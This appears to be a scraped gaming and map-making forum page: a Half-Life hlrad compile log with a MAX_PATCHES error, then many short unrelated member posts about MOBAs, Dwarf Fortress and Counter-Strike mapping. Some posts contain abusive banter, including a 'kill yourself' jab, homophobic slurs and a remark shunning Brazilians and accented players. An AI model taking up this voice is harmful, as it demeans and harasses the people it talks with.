Based on Valve's version, modified with permission.
Submit detailed bug reports to (amckern@yahoo.com)
----- BEGIN hlrad -----
Command line: D:\Program\WORLDC~1\tools\hlrad.exe D:\Program\Worldcraft\maps\mymapp

-= Current hlrad Settings =-
Name | Setting | Default
--------------------|---------------------|-------------------------
threads [ 4 ] [ Varies ]
verbose [ off ] [ off ]
log [ on ] [ on ]
developer [ 0 ] [ 0 ]
chart [ off ] [ off ]
estimate [ off ] [ off ]
max texture memory [ 4194304 ] [ 4194304 ]
max lighting memory [ 6291456 ] [ 6291456 ]
priority [ Normal ] [ Normal ]

vismatrix algorithm [ Original ] [ Original ]
oversampling (-extra)[ off ] [ off ]
bounces [ 1 ] [ 1 ]
bounce dynamic light [ on ] [ on ]
ambient light [ 0.000 0.000 0.000 ] [ 0.000 0.000 0.000 ]
maximum light [ 255.000 ] [ 256.000 ]
circus mode [ off ] [ off ]

smoothing threshold [ 50.000 ] [ 50.000 ]
direct threshold [ 25.000 ] [ 25.000 ]
direct light scale [ 2.000 ] [ 2.000 ]
coring threshold [ 1.000 ] [ 1.000 ]
patch interpolation [ on ] [ on ]

texscale [ on ] [ on ]
patch subdividing [ on ] [ on ]
chop value [ 64.000 ] [ 64.000 ]
texchop value [ 32.000 ] [ 32.000 ]

global fade [ 1.000 ] [ 1.000 ]
global falloff [ 2 ] [ 2 ]
global light scale [ 1.000 1.000 1.000 ] [ 1.000 1.000 1.000 ]
global gamma [ 0.500 0.500 0.500 ] [ 0.500 0.500 0.500 ]
global light scale [ 1.000 ] [ 1.000 ]
global sky diffusion [ 1.000 ] [ 1.000 ]

opaque entities [ on ] [ on ]
sky lighting fix [ on ] [ on ]
incremental [ off ] [ off ]
dump [ off ] [ off ]

colour jitter [ 0.0 0.0 0.0 ] [ 0.0 0.0 0.0 ]
monochromatic jitter [ 0.0 0.0 0.0 ] [ 0.0 0.0 0.0 ]
softlight hack [ 0.0 0.0 0.0 0.0 ] [ 0.0 0.0 0.0 0.0 ]
diffuse hack [ on ] [ on ]
spotlight points [ on ] [ on ]

custom shadows with bounce light
[ off ] [ off ]
rgb transfers [ off ] [ off ]


[Reading texlights from 'D:\Program\WORLDC~1\tools\lights.rad']
[59 texlights parsed from 'D:\Program\WORLDC~1\tools\lights.rad']

Warning: No vis information, direct lighting only.
15173 faces
Create Patches : 68089 base patches
0 opaque faces
687512 square feet [99001784.00 square inches]
Error: Exceeded MAX_PATCHES
Description: The map has a problem which must be fixed
Howto Fix: Check the file http://www.zhlt.info/common-mapping-problems.html for a detailed explanation of this problem


----- END hlrad -----



I'm grateful for any help, tips or tricks that you can help me with!
Sincerely
/RN

In Well, This was unexpected.. by aaronjer:
I'll play any new moba that requires skill shots. I can't go back to combat that puts no emphasis on twitch skills. There is no satisfaction in getting kills in dota/hon anymore, because I don't feel like I actually did anything other than compare my stats to those of the enemy.

There ain't no comin' back from Smite, y'all hear?

In Well, This was unexpected.. by SolidKAYOS:
Smite was fun what little I got to play. But Jigsaw has a thing for LoL so that kind of took us over. As far as steam summer sells go. I second rodeo on that. There is no "Choice".

In Well, This was unexpected.. by aaronjer:
SRAW said:
I cant beleive you still play that shitty game, esepcailly now that dota 2 is oficially out of beta


Some day, when you realize how much you suck, you will fucking kill yourself and carve "Smite Rules" into your dead skull.

Smite is literally the only game in the universe. If you are playing something else it is not actually a game and you're doing it wrong and your opinion is wrong.

In Well, This was unexpected.. by SRAW:
I cant beleive you still play that shitty game, esepcailly now that dota 2 is oficially out of beta

In Well, This was unexpected.. by SRAW:
was that a question? And in any case, dota 2 is now apparently out of beta, which is cool (although I don't play it anymore, cause I have realized just how boring it was)

In Well, This was unexpected.. by sprinkles:
You guys play lol.

In Dead Kings Advertisement in progress by Down Rodeo:
It's true. I ended up accidentally sexing Liara in Mass Effect, because I was trying to romance Kaidan but... This is coming out wrong. I was talking to Liara about how her species does shaggin' because I was playing my Shepard as "interested in everything" type, like science and things, but apparently Liara took it the wrong way and got a bit hot... anyway, next time I talked to Kaidan (literally went from one conversation to the next) he refused to talk to me about the romance-dance because I'd talked to Liara about it.

Long story short, the guy has blatantly bugged my clothes and was listening to my conversations.

Did you ever play Jade Empire? Have I asked you this before? What do you think of the mechanics of Fire Emblem?

Also my post sounds like I didn't read yours but I did, you have many valid points. I guess it's a symptom of making things game-y. Like, getting players to form relationships with NPCs involves having them spend time together, spending time implies doing things, doing things is basically large-scale murder, so you get the situation as is. Kind of. That's not to say it shouldn't change, I'd love to see a first person game where the most significant decision you make is firing a gun.

In New CSGO map: de_substation by SRAW:
Well disregard my last statesments, but what I've REALLY noticed is that it's useless to spray with the ak or m4 even at close range, but yet it's perfectly fine to do it with the p90 while jumping up and down at far range. Plus, in casual atleast, my teammates always suck ass and I always run into full hp enemies and they all camp tunnels as T in dust2 (like all n00bs do), and as for competitive mode, why must you play the whole match? Why can't there be casual rankings or something

In New CSGO map: de_substation by SRAW:
Rockbomb said:
It's so pretty :3
Is there a CS:GO server anyone here frequents?


I just play casual, and my kd is currently at 2.5 so I'm trying to get it to 3!

In decals and shit by Outcast:
Lorenzo said:

For ambient or sound, use ambient_generic and env_sound.
It didn't work if you fill the sound path wrongly.
Fill the sound with the name of the sound in the "sound" folder, example: "ambient.wav" or if the sound in the other folder in "sound" folder, fill the path. example: "radio/radio1.wav"

Hope it helps.
Correct me if I wrong Mr. Admin.


Thanks,it worked.Btw how do i make it play on loop?I see there's an "Is NOT looped" option in the flags so i guess it should be looped by default?

In Music In Maps by fedex _:
SuperJer said:
Like SRAW said.

But also, what entity(ies) are you using? And in what game exactly?

Whatever you are using, make sure it has a targetname.




im using ambient_generic , and using a func_button to trigger it to play ... when I hit the button the song will play .... but the problem is it will automatically play when the next round starts

In Music In Maps by fedex _:
The problem I'm having is simple , but yet hard for me to understand .... I've worked with making the sounds play in the map , but everytime a new round starts the song will play auto and im tryin to make it start silent every round///

In We Made A Game For Double Fine by molkman:
*cough* [/bragging]

This year, we are crafting at least one new game each month. After January's CAESAR'S DAY OFF and February's DROP A BEAT, GIUSEPPE!, we've got our third game ready after all.

The hotties at Double Fine asked us to create a little adventure-esque game in which you play Tim Schafer hosting the GDC Awards show, which was a super huge honour to do so. PUT YOUR CURSOR HERE.

In Game Soundtracks! by aaronjer:
His running special attack is insanely op when you get accurate with it. Also, cancelling is normal combo at the uppercut and following up with a forward, forward attack is stupid good. His back attack is pretty awesome too, one of the few that is any good.

My favorite character to play so far is Elle, she's really weird to play but so much fun! Her normal combo is GOD AWFUL and only serves as a quick way to hit something so you can get away or cancel into something better. Her throws are meh as well. Her standing special is also very meh. But her moving special is amazing, and her forward forward attacks are great. However... the key for your enemies is to NEVER let you have a weapon. She goes absolutely sickhouse with a knife or sword, no other character comes close. Don't give that bitch a blade if you like your blood where it is.

Shiva, however, is clearly the strongest character. My god that game is easy as Shiva.

Rudra is boring, by the way, don't waste the points until you have little else to unlock.

In Game Soundtracks! by aaronjer:
You can set BK3 skate to play like SOR2 skate in the options. Pause Delay in Miscellaneous can be set to override BK3 style attacks. Also you can unlock all legacy versions of characters with less points that you make in one playthrough.

In Metal Gear Solid: Ground Zeroes by Rockbomb:
So, sometime in December of last year, Kojima released this weird and mindfucking video which can be seen below. It definitely hinted at a new MGS game, but left you feeling unsure about everything. Video:



Then Kojima confirmed that there'd be a new MGS (MGS: Ground Zeroes), and that it'll be using the new FOX engine his team has developed, as well as it'll be cross-platform.

Now, this 10 minute long epic-as-fuck trailer has been released:


I think this'll be a sequel to Peace Walker, which sadly I've never gotten the chance to play (gonna have to pick up the HD collection before Ground Zeroes comes out), but either way it's going to be fucking epic, and I can't wait

In Game Soundtracks! by NatureJay:
What do you think I was doing as I was posting that?1?

(No, seriously, I was.)

They've got the game-feel pretty close to spot-on, but goddamnit, why is BK3 Skate the default? He's terrible! I may have to play as someone else until I unlock BK2 Skate.

In Game Soundtracks! by aaronjer:
I have only one or three thing(s) to say. Streets of Rage Remake. Download it. Play it.

In Dwarf Fortress by Rockbomb:
I think I need to play this game.

In Game Soundtracks! by NatureJay:
HoMM3 had some fine music. I always liked the Rampart's track, but it was always one of my least favorites to play, or fight against. Fucking dwarves and dendroid soldiers being too slow and then everything else being resistant to magic. In fact, I think I'd rather play any other civilization than play Rampart.

The only thing I can think of off the top of my head is the Floating Continent theme in FFIII/VI and various Castlevania or Mega Man tunes. Hm.

In Dwarf Fortress by molkman:
This game looks like it takes very long to play.

In hey n00b commander by SRAW:
Mostly for project reality.


unfortunately I'm still a major noob at this game, but I remember this epic time when I got like 7 kills as a Taliban, all in the same life. 4 of em by using a pipebomb, and 2 more by ambushing, then I went around this compound and got one american before his squad took me out :(

and also I do NOT play with brazilians and try to avoid people with wierd ass accents

In hey n00b commander by aaronjer:
BF2? Ho.... Homo? Why play old game for homo?

In Hittn' Them Keys With Molto Passione! by aaronjer:
Well, that is extremely hilarious, but my right hand is broken so I can't play it very well. I'll come back in a couple months.

In Android Apps by Rockbomb:
I'll write you a tutorial on Androids Apps...

1.) Go to Google Play
2.) Download an app
3.) If app doesn't automatically install, install it (see my app installation guide for further instructions)
4.) Open the app
5.) Use the app

In Steam Game Installer Website by buq25:
SuperJer said:
It doesn't work for me. It just says "Done." and doesn't do anything.

I get the same thing, strange. I know I got it working a while before I made this truck. I didn't test it just before posting though.
SuperJer said:
Why can't you just install them as you need them?

My internet is too bad for me to install a game on the day I want to play it. I have to start downloading 3-5 days before depending on the game's size.
SuperJer said:
Or do what I do. I keep my Steam folder on an external HD so I don't ever have to reinstall.

Yeah, that would've been a great idea if I owned a external drive.
the_cloud_system said:
isint their a steam "cloud" for all the local files?

The steam-cloud uploads and downloads save-info such as how for in a story you've gotten in games, what level your character and what gear s/he has in Borderlands etc.
Down Rodeo said:
You can also copy the relevant files to a backup then copy them from that.

No external HD and I installed my new SSD. Basicly, I have (had) 3 drives. A is a 2TB HDD, B a 600GB HDD, C a 120GB SSD. I had A(windows) and B installed and I wanted to change it to having C(windows) and A. This meant I needed to format A. I could have moved a steam-backup from A to B, replace harddrives to A C and format+ install windows, replace to B C to move the steam backup over, replace to A and C. Then B would still have files on it, which isn't that great for a drive I didn't mean to ever use again.

Long text, Ahoo!

In Mobile Version? by aaronjer:
I want to play that game but I lack the PSP. I shan't easily acquire one with my pay so meager.

In Mobile Version? by aaronjer:
I didn't play Skyrim all weekend! Are you proud of me?! Also, using equip armor on monks gives them an obscene amount of hitpoints.

In Best guitarist ever? by molkman:
Playing fast doesn't make you a good guitar player and making music by just standing there moving your fingers doesn't have much to do with music.

Jack White might not be the most skilled player (although he does have quite epic skills, if you ask me), but it's just so much fun to see him play, because you can see the passion all over him, he's not just boringly standing there moving nothing but his fingers, he plays his music with the whole body. That's what music is all about, it's about emotion and intuition, not hitting the right notes and harmonies, dog.

In LoL by aaronjer:
LoL and DotA 1 or 2 are all for tools. All the cool people play Smite, the one that requires more skill. You can go ahead and play all of these stupid games for silly girls... but be warned your genitals will atrophy and you will grow mammaries.

In LoL by SRAW:
You play LoL, you have no say.
Unfortunately I deleted the pic where I went 31/1/3 with Razor in dota 1 :(((( I shall go to work trying to get a good score in dota 2 now (instead of feeding every game but still somehow managing to win)

In create a stairs with a lot of pole, but compile need a long time by SuperJer:
sprinkles said:
No.

Try making maps for games people actually play.


Oh NO you DI-INT!

In create a stairs with a lot of pole, but compile need a long time by sprinkles:
michaelhn said:
superjer said:
michaelhn said:

is it okay if a make the "a lot of pole" with boxshape not the circle shape???


No. This game is from 1998 and can not handle that many objects or polygons. You need to use one big texture or something else more appropriate for 1998 tech.


so.. dead end? no such way that make me can build a lot of pole for my stair?


No.

Try making maps for games people actually play.

In Dwarf Fortress by NatureJay:
So, here's the deal, goons. Since this was marginally popular, I'm going to be starting a new truck for a new fortress and trying to document as much of the preposterous bullshit that is happening as I can. This will be no kind of news to most people who already play Dwarf Fortress, but to the rest of us who are just now familiarizing ourselves, it'll be a lark.

Right now, there are two worlds that I've gotten decent embark sites on.

1. "Palacelands"
Stupid name. Hilariously so. I'm lodged between the haunted region of the map four squares to the south and the civilizations several more squares to the east. This could result in Fun. Near as I can tell, I have no visible iron either. And I have a waterfall! There is a great deal of potential here for horrifying things to happen, and thus it is an early favorite.

2. "Plankboard"
Plankboard's position isn't interesting. It's not too close to any other civs and certainly not to any kind of interesting terrain, though it does have iron. Where it excels is that Plankboard is in a universe called the Windy Plane, on the Continent of Bleaching, in a subregion called the Spike of Treaties, and most importantly, the river adjacent is Breakfastboys the Good Shore. HOLY SHIT.

I'm siding with Palacelands because there's more potential for peril there, and peril is inherently interesting, but being next to a river known as Breakfastboys the Good Shore is hard to pass up on.

In Dwarf Fortress by NatureJay:
That makes a goddamned lot of sense considering the leopards were wandering in there after the fact. Well fuck. That might take some time to engineer. I see a tutorial online to start a power mister, but I don't know if I'll have time to install it or work out the kinks in the near future, so I think I'll just not play for a week until the quarter is over. The contaminated room is way down in a z level in the 50s and getting water and parts down there is going to be a pain in the ass.

Am I going to have to kill and then carefully dispose of those contaminated and if so then how the fuck? Or should I just put them in the misty room and hope.

In Dwarf Fortress by NatureJay:
I think people who play Dwarf Fortress know that this is pretty common for Dwarf Fortress logic. I don't know where I'd post it anyway.

I reloaded the game and am now being attacked by a cyclops.

Monster: I'd like to attack Roughnesspointed, sir.
King of the Monsters: Is that more than one eye I see in your head?
Monster: Y-yes.
King of the Monsters: GET OUT

Cyclops is identified with the title of The Permanencies of Play. This cyclops plays for keeps. Its surname, on the other hand, is ControlLilacs. I just....

It didn't get a hit off, much like the two-headed man that attacked my fortress before it. Instead it had most of its limbs broken before it passed out due to pain and got hit in the head nine times, then died. That was... brief.

In Dwarf Fortress by NatureJay:
It does sound like I'm playing Dwarf Fortress!

I found caverns earlier today. I haven't explored them yet. What I do know is that cavern plants are now growing in that area of my hospital which was previously flooded. I hope that the injured dwarves find themselves comforted by the presence of trees and bushes because I ain't doing shit about it.

I seem to notice that in this version of Dwarf Fortress, the moods are... okay I didn't play any other version of Dwarf Fortress, but I had a weaver flip out and take over a loom. He requested: rock blocks, metal bars, and logs. I had the latter two lying around. I needed to make some stone blocks. So I did! The dwarf in question continued to sit at the loom screaming its fool head off. Dwarves are some bullshit, man.

In Dwarf Fortress by Down Rodeo:
Towering one-eyed weasel? Nice. One day, I will properly play Dwarf Fortress.

One day.

In Dwarf Fortress by NatureJay:
Update: I have abandoned "Ectogirders" but not before two extremely important things happened.

1. One of my fisherdwarves went nuts and made a cabinet out of capybara bones, engraved with images of giant snails [none of my dwarves have ever seen giant snails] and something dedicated to the founding of Ectogirders. All my relics from that play were dedicated to the founding of Ectogirders.
2. A goblin had a short day. It tried to get into my fort and was captured by a cage trap almost immediately. Being that I've barely played the game at all, I figured out how to disarm it, but not how to release it. It sat in the cage for a year, stewing in goblin juices. Then a dwarven caravan came along and I thought "fuck it, I'll trade the goblin to them and see what happens." The goblin didn't take kindly to this and escaped almost immediately. The issue was that the only way to leave the fort is through the trap hallway, and between the trap hallway and the stockpile, there was the meeting area, and most of my dwarves, who were transporting things. A few seconds later, I pause the game and examine the goblin who now has six lines worth of broken or gashed things. One of its thumbs has been knocked off and somehow a bolt has taken out all of the BACK TEETH in its upper jaw. Crumpling to the floor, it has its face chewed off by a stray dog who happened to be nearby, and this finally kills the goblin. For this feat, the stray dog is bestowed with the title of Diamondjaws. Most of the dog by this time was covered in goblin blood. It may have attacked because it was being covered in goblin blood.

Ectogirders, sadly, never filled with ghosts because everyone was murdered too quickly. Whoops.

New fortress is Roughnesspointed. A name to aspire to. Jack shit has happened and I've been playing for two full years now but there are two things worth mentioning:

1. The third wave of migrants had the arrival of a near legendary cook/mason, who has spent most of the past year carving and cooking masterpieces. Every five seconds, masterpieces. When one of my dwarves went secretive recently, the result was a hematite flute carved with the image of the legendary mason erecting a microcline door. That's how amazing he is.
2. In preparation for the goblin siege which sort of fucked me the last time, I built and designated a hospital to prepare for, I don't know, something. Around the time that was finished, the elven caravan arrived. Due to bugs or general fun, all of my dwarves immediately stopped being idle for about half an hour and upon investigation, I have discovered that they were robbing the caravan blind of every piece of cloth it had so that they could fill the medical coffers. The elves, being a stoic race, have yet to notice and I'm not about to alert them.

In pointers by Down Rodeo:
Just read Wikipedia and have a play yourself. That's the best way to do it.

In part of my walls get invicible by michaelhn:
I build a wall, textured it, some part of it is normal, but a small part of it become invicible when I play it on cs, so I can see other room behind that wall, but I check there no error VHE

_______________
Need Backup...

In Hai guys ^.^ by Down Rodeo:
Is this the third person one coming out relatively soon? Looked cool, I guess, though I have just been sucked into DotA 2. Have you tried Super Monday Night Combat? Basically the same but very much less complicated, and most of the players on don't know how to play. Valve were talking about calling them ARTS, as in action RTS. I dunno, might as well call it LBMARTSwRPGE?

In Hai guys ^.^ by aaronjer:
Uh... no. Because it doesn't play at all like any RPG? I don't care if LoL invented it, Smite even takes a lot of things from LoL, but it doesn't MATTER. Because SKILLSHOTS. So it's better than dota by INFINITY. Trust me, as a counterstrike player, you will fucking own and fucking love it.

In Hai guys ^.^ by SRAW:
64.94.238.168:27015

I play here all the time, it's an extremely shitty server, I still pwn with my 100 ping cuz the majority are noobs, but thankfully there are lots of admins that ban the hacksaws, so it's full of noobs with no hackers, what more could you ask for?

In Hai guys ^.^ by aaronjer:
If you don't want to play Smite you are NOTHING TO ME.

In Hai guys ^.^ by Rockbomb:
Sooooo... I'm done with basic training, and am now in tech school in beautiful (lolno) Wichita Falls Texas.
I'm on my roommates macbook (don't worry, I'll sanitize my hands afterwards), but I had my mom ship out my desktop and it should be here Thursday. When it arrives, we'll all have to have a SJ CS1.6 party or something.

Or perhaps I'll buy CS:GO and we'll play that? Who knows...

Anyway... just wanted to say that I'm back. I won't be able to be on as much as I used to be, but I'll be around for sure.

Anyone wanna know anything about AF basic training?

In Sometimes I for get things... by fedex _:
I just wanna make when you hit the button a sound will play but I forgot how to set the button to the ambient_generic so can someone help me with this ... REPLY FAST PLZ my internet acts really weird cuts off and on

In FUS ROH SUPERJER by SolidKAYOS:
FALCOOOON BUMMPPP!

I enjoyed skyrim. However, it did kinda make mages seem useless.
It was just so overhyped that it died down really quick. I wouldnt mind to go back and play now after so long...kgjsiajfg

So i modded oblivion into a sex game..

In My Map LAGS :$ by Watson:
Thanks guys for looking into this :)

Check this please: http://www.mediafire.com/?hct33r2t9dlyv2k

I can play on that map but it lags a LOT!I get fps below 5 :$

Help if you can :)

In My Map LAGS :$ by Watson:
Hey guys,
Recently,I got introduced to map making,and so I started making some noob maps :P.The problem is that,whenever I play on that map it lags a LOT!My fps is like 4-5 :$.Can anyone please help me out? :)

Reply asap :)

In Units by fedex _:
I measured on the grid to 250 units but in game play its smaller then 250 i can easily make it , how i measure the actual units in hammer..

In Slender Game by NatureJay:
I've played a lot of The Binding of Isaac and it is probably godawful boring to watch unless you get a bunch of crazy items early on that make you nigh invincible (Tech 2 + Mom's Contacts, for example).

I would rather watch Superjer play Spelunky for another hour or two than watch in on someone's Binding of Isaac game.

In Slender Game by the_cloud_system:
i was just livestreaming me playing "the Binding of Isaac" to my facebook fans and they suggested i play both of those games instead :o

In Slender Game by fedex _:
Visit www.slendergame.com and download it and play it..

This game is kinda creepy got me scared a little so play it and record yourself playing it then post it here !!

In LoL by phoenix_r:
I have no basis for comparison, you nailed it there. Literally the only reason I played LoL over HoN or DotA was that it was free to play immediately when I wanted to try that sort of game, no waiting for a beta key or whatever. I have never even played HoN or DotA, I just wanted to try the genre. Watched a bunch of DotA over an old room mates shoulder, if that counts.

edit: how to deny it? Come to CJ Carlito's with Ato and I sometime soon (this weekend?) in *gasp* meatspace! I'd even pick you up if needed; my Scion has a four-star safety rating, no big deal.

Last time I tried to incite a burgeriot Ato's schedule and mine failed to sync. Ato, SRAW, any other PNW jertards, when shall we Carlito? Evenings/weekends are my jam, don't think I have too much on the books coming up.

In Fleetwood Fucking Mac by SRAW:
aha, but you see, what I do is just play music made by others, with no soul and just read some tabs and blah blah, but apator, they make music with deep lyrics that touches the soul of what may be a few individuals, but we have had our lives changed (for example, I now masturbate in praise of black satan)

In Diablo III by SRAW:
getting drunk does not excuse you from engaging in unmanly activities. Also cloud, mind posting here what source servers you play on? it would be interesting to run into you

In Diablo III by aaronjer:
Sorry, D3 hasn't ungayed. Still can't play it.

In fatal error!!! by staedtler:
i download a map, and then want to play it. but why fatal error? he said :

Mod_LoadBrushModel: maps/fy_cyberworld.bsp has wrong version number (1347blablabla should be 30)

any maps like that.

why?

In Whitelist by aaronjer:
We still play from time to time. Usually peaking around LANs and then trailing off until the next one. I'll whitelist the SHIT out of you SO HARD. Activity will probably pick up around July 4th.

Don't break stuff or we'll hate you.

In Whitelist by vanstrat:
My profile name is vanstrat. If I could be added that would be awesome. Or does no one play anymore? These posts are pretty old...

In DOTAAaaaa by Mate de Vita:
This is now a truck about HoN.

So I just started playing this game and I want to learn to play at least one hero that I can buy then. What I want is just your basic initiator/tank with lots of cc. I've played Cthuluphant these 3 or 4 games and while he's great and all, he really has only one cc/initiate ability (well, that and the passive E ability, but I prefer activation abilities and if possible a cc ultimate).
Recommendations please!

In Leak help by Moe3:
I already did but yet it dident work it always said there was an entity whether it was light,info play start/deathmatch or armoury

In Tribes Ascend by sprinkles:
Down Rodeo said:
(in fairness I'm probably not going to play it, for a variety of reasons).


In Tribes Ascend by Down Rodeo:
I find it quite odd you've never heard of Tribes. Perhaps we should all shut up and play it, then come back with our thoughts (in fairness I'm probably not going to play it, for a variety of reasons).

In Tribes Ascend by aaronjer:
buq25 said:
aaronjer said:
WTF IS TRIBES.

I do believe you're joking. If you're not, it's a game. Which you play. Watch the video I wrote about.

I said that you'd probably know about it is because Tribes Ascend is not the first game in the Tribes serie and you seem to be mostly certain that games made earlier in the series are better.

For an example, I like Team Fortress 2 and you AJ know that it's shit because you've played the original Team Fortress.


WTF are you talking about. TFC is not the earliest TF game. Earlier TF games are much worse than it. On top of that TF2 isn't even a TF game at all, it just has the words Team Fortress in it, which is not enough to make it part of the same series. You will notice when comparing all TF games that they are extremely similar, TF2 is way too different to be a TF game. And I don't have any problem with TF2 in itself, my problem is that it killed and buried the TF genre. It's gone. Now we have TF2 instead. It pisses me off. And even then FF is almost exactly the same age as TF2 and is better than either TF2 or TFC.

In Tribes Ascend by buq25:
aaronjer said:
WTF IS TRIBES.

I do believe you're joking. If you're not, it's a game. Which you play. Watch the video I wrote about.

I said that you'd probably know about it is because Tribes Ascend is not the first game in the Tribes serie and you seem to be mostly certain that games made earlier in the series are better.

For an example, I like Team Fortress 2 and you AJ know that it's shit because you've played the original Team Fortress.

In Tekkit by aaronjer:
I used to play Minecraft when it was fun... then SJ made some really annoying guy be in charge of his server and I no longer want to play.

In Map are still there even when i remowed it from CS folder..... by putte69pg:
How come that i still can start a server and play a map that i have removed from the cstrike folder ???
Is the map in several folders or what or is steam doing magic things here ?

In Map starts after compiling in VHE, but .......... by putte69pg:
Hello,
I have this strange problem u see, the map that i am building is pretty large, but it copiles in 2-3 min. After thats done the map starts automaticly in CS 1.6 and so far so good.
Problem: when i later whant to play the map, it wont start at all ??

Strange !!
Any ideas ?!
Sorry for my english.

//Putte/PG

In Dragon Warrior III (NES) by NatureJay:
Sometimes, I want to play the original NES Dragon Warrior games, but then they're all "To go down or up STAIRS, use the STAIRS command" and I'm like "fuck that." I think there may have been remakes that got around that though. I would play those.

Aaronjer would say you should play Dragon Warrior IV. I wouldn't say that. I'm busy.

In Dragon Warrior III (NES) by the_cloud_system:
you guys should play it.

:I

In Video Player by SRAW:
Down Rodeo said:
When I play Battlefield, my character appears to go back in time.


That made me LoL for no reason lol

In Video Player by Down Rodeo:
Yes, it took me 5 hours to upload the noise images from last week. When I play Battlefield, my character appears to go back in time.

In How to set a texture's sound? by deanamx:
SRAW said:
In the sounds folder there is a File called materials, or something like that, so u need to set it to play your sound, but if u give some1 the map and they use it, they will just hear the generic footstep shit because they don't have it modified

and sorry for my bad spelling

Corrected, and thanks for giving advice.

In How to set a texture's sound? by SRAW:
In the sounds folder there is a File called materials, or something liek that, so u need to set it to play your sound, but if u give some1 the map and they use it, they will just hear the generic footstep shit cuz they dont have it modified

and sorry for my bad spleing

In How to set a texture's sound? by deanamx:
fedex _ said:
just apply your custom texture to the ground , then make the trigger when walked on to play your sound

does not that will result of MIXED SOUND? Dirt+Tile sound

In How to set a texture's sound? by fedex _:
just apply your custom texture to the ground , then make the trigger when walked on to play your sound

In Help Needed Here.... by fedex _:
My dads shitty ass toshiba laptop has a little problem ..

my dad likes to play somtimes Plants vs Aliens and chuzzle

since he likes to play them , theres one problem

IT RUNS LIKE SHIT .

Reason why : because the ati drivers dont wanna work

it keeps on poping up , Control Catalyst Center

Hos Application Stopped Working

any suggestions ???

In by Rockbomb:
SRAW said:
and I got css, so come and play with me crockbomb

I'm at a friends house with my laptop that won't run source, so... no.
I'll jump on and play tomorrow though, for sure.

In by SRAW:
and I got css, so come and play with me crockbomb

In McDiddys 3 by SRAW:


despite my shitty win/loss, I virtually own in every game I play, which is really sad cause I always end up in the worst team

In DOTAAaaaa by Rockbomb:
We play the LoL version

In DOTAAaaaa by SRAW:
errr what version do the guys in the USA dota rooms play? I use 1.26, and I asked in the room but nobody replied

In Schpida! He is our hero! by Down Rodeo:
Ah, it is more clear now. You have great ideas! These are the kind of things that are not touched by mainstream, though I say that as someone that has not played Dragon Age, or most of Oblivion, or any of Skyrim or the other Elder Scrolls games. So there's that.

D'you know some day I'd like to play a game where I'm not the big damn hero, where actually my role, although on a local scale seems to have impact, is actually revealed to be quite inconsequential.

SPOILERS AHEAD, CAP'N, FOR "CONSIDER PHLEBAS"

SERIOUSLY, don't read this if you ever plan to read the book. Iain M. Banks is a bit of a hero.

So I read this on holiday recently, it's great. Science fiction but I think the concept could transfer to some huge fantasy world.

In this book a huge amount of plot happens. There's some big space war going on and there is one mercenary type person caught in the middle of the two factions. He is sent on a mission to obtain an AI for one faction; this AI belongs to their enemies. He goes through an immense amount of shit to get to it but in the end, on a galactic scale, his impact is essentially negligible. The war ends with him having had no say in the outcome. But it's really interesting to have a really different view on this, so much happens but as I say it doesn't matter, in a sense. It really got me thinking anyway and I do so love it when games make me think.

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Spoilers are over now. Like you care.

In Battlefield 3 by SRAW:
Look, bf2 was epic because all I did was be spec ops and crash jeeps with c4 into the enemies, or artillery strike my own troops as commander.
Bf3 can't do that so it is automatically a fail.

Plus in bf1942, I remember in the Berlin map, if you play as germans, you can be an engineer and put the exp packs in a jeep and ask your teammates to drive it to the russian main base.
Then BOOM LOL

In SOME OLD 3D GAME; where chicken had to be killed twice. by aaronjer:
Honestly, I don't think I could play that again. It was cool at the time, but there are vastly superior rogue-likes.

In SOME OLD 3D GAME; where chicken had to be killed twice. by phoenix_r:
BRB installing 3.x in DOSBox to play COTW

In SOME OLD 3D GAME; where chicken had to be killed twice. by aaronjer:
I remember that game. Use to play it in telemetry school back in the day.

In RTS by Rockbomb:
Here's one of the ideas I had for a possible gameplay style. This wouldn't be like the 'main' mode that players would use, but rather a kind of 'fun mode' that players could choose to play.



So the name of the game is roulette, because... well because I based the game off of a roulette table. So the players of each team would spawn in every other lane... or they could each spawn on one side, but that wouldn't be as fun :P

So basically what would happen is you'd have to attack the control pillars for a certain amount of damage, and once you've 'killed' it, your team would then own that lane. Every 30 seconds or so a thing would go around the arena and land on a random lane... whichever team happens to won that lane would get some sort of boost (whether it's temporary buffs, extra money, etc).

But the main goal of the game would be to take control of the middle. It would be kind of like 'king of the hill' where standing in the area would add points to your team, and then whichever team reaches a set amount of points first wins.

You'd only be able to earn points while ONLY your team is in the middle (meaning if there's player from both teams in the center, nobody would be getting points).

So you'd definitely be wanting to take control of the middle, but at the same time you need to make sure that you're also taking control of the lanes so you can get the boosts, which will help you in taking control of the mid.

In Player dies when i srat a new match. by mihirguitarist:
I did everything correctly and also the compiling....
then when i play my map, the team or player i choose dies for every first time i start a new game, but after that first time the game runs smoothly....
and when it dies, the account for death is never included in the table for players when i press TAB to see it.
What should i do???

In i went 5 and 0 on my warlock by SRAW:
and in case you are wondering, I do play with health bars, but for the program I use to take screenshots, I have to press alt, so the bars don't appear

In Compotor by Rockbomb:
SRAW said:
Nvidia gives you 5 steam games or ree, so get nvidia

nVidia gives me one free game from steam, which is the new Batman game, which I don't want... not to mention I don't even use steam, and don't plan to in the future either.
Also, AMD offers Dirt 3 for free, which I'd actually play.

But I'm not gonna buy a card based on the free game that comes with it. I'm thinkin' about getting this one: jizz

In Din's Curse by phoenix_r:
Anybody play this thing? It's about a year and a half old, but I just heard of it.

In 'LeafThread' takes forever! by Down Rodeo:
Indeed func_walls will behave a little better.

Let's remember children that this is only the internet so we should calm down play nice. Although I do get annoyed and suggest that people hit up Google that is mostly for problems that turn up all the time, or where the person has blatantly not even tried to fix it themselves. Here, it looks like more work was put in on the pink guy's end.

Basically, man up.

In 6 new CS 1.6 maps by SuperJer by aaronjer:
joust8 is disturbingly fun. So fun that I would kill a mayoral candidate in cold blood to be allowed to play it.

In Dwarf Fortress by Down Rodeo:
the_cloud_system said:
well i didn't play it much and it frustrated me so bleh.

:(

In Whitelist by pv2enlow:
im friends with sprinkles and i was wandering if i could play on you minecraft server my ingame name is pv2enlow

In Dwarf Fortress by the_cloud_system:
well i didn't play it much and it frustrated me so bleh.

In Diablo 3 by buq25:
I'm not sure if I'm the most pissed about Blizzard removing modding or the real money auctionhouse.
Actually, I could just ignore the auctionhouse and play without it.
ENEU

In Dwarf Fortress by aaronjer:
Dwarf Fortress is a game for all ages. Except those that don't enjoy fun! I wouldn't play it right now, the material system is pretty broken and it ruins combat...

In Song I'm workin' on. by aaronjer:
